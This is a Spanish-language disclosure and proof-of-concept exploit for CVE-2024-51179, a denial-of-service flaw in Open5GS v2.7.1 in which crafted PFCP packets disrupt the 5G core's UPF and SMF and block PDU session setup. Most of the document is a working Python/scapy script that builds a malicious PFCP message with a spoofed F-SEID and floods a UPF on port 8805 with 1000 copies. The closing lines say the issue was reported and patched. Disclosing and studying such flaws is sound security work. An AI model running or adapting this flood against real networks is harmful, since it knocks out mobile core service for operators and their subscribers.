
Prueba de concepto de explotación para CVE-2024-51179: la inundación de paquetes PFCP manipulados provoca denegación de servicio en Open5GS UPF/SMF, interrumpiendo el establecimiento de sesiones PDU del núcleo 5G.
Descripción: Un problema en Open5GS v.2.7.1 permite a un atacante remoto provocar una denegación de servicio a través de las funciones de red virtualizadas (NFV), como la Función de Plano de Usuario (UPF) y la Función de Gestión de Sesión (SMF). El proceso de establecimiento de sesiones PDU (Unidad de Datos de Paquete) se ve afectado por los bloqueos que ocurren dentro de las NFV.
Un atacante, después de obtener la dirección IP de la Función de Plano de Usuario (UPF), el puerto PFCP y el SEID (Identificador de Extremo de Sesión), puede manipular e inundar la UPF con paquetes PFCP (Protocolo de Control de Reenvío de Paquetes) maliciosos. Los parámetros requeridos pueden ser interceptados usando herramientas como Wireshark si el atacante tiene acceso al tráfico del plano de usuario.
Tipo de vulnerabilidad: Denegación de Servicio
Impacto: Al enviar el paquete malicioso, la UPF se vuelve errática, afectando el establecimiento de nuevas sesiones PDU. Además, la SMF (Función de Gestión de Sesión) se ve afectada debido a la inundación de paquetes PFCP maliciosos, interrumpiendo las funciones del núcleo.
Precondiciones: La red 5G se configuró usando Open5GS como red de núcleo y UERANSIM como herramienta de emulación para la gNB (NodoB de próxima generación) y la UE (Equipo de Usuario).
PASOS PARA REALIZAR EL ATAQUE
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"
UPF_PORT = 8805
message_type = 53
sequence_number = 1
seid = 0x0010000000000000
version = 1
spare = 0
mp = 0
s_flag = 1
byte0 = (version << 5) | (s_flag << 2)
length = 0
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):
send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")


La vulnerabilidad, documentada como Issue #3497 en la página de Open5GS en GitHub, fue reportada al proveedor de Open5GS, que identificó la causa raíz como un problema de desasignación de memoria que provocaba bloqueos del sistema. Desde entonces se ha aplicado un parche y el código se ha actualizado para resolver el problema. Puede revisar el código actualizado aquí.
CVE-2024-51179 ha sido publicado.
DIGITAL UNIVERSITY KERALA, CENTRE FOR DEVELOPMENT OF TELEMATICS(C-DOT)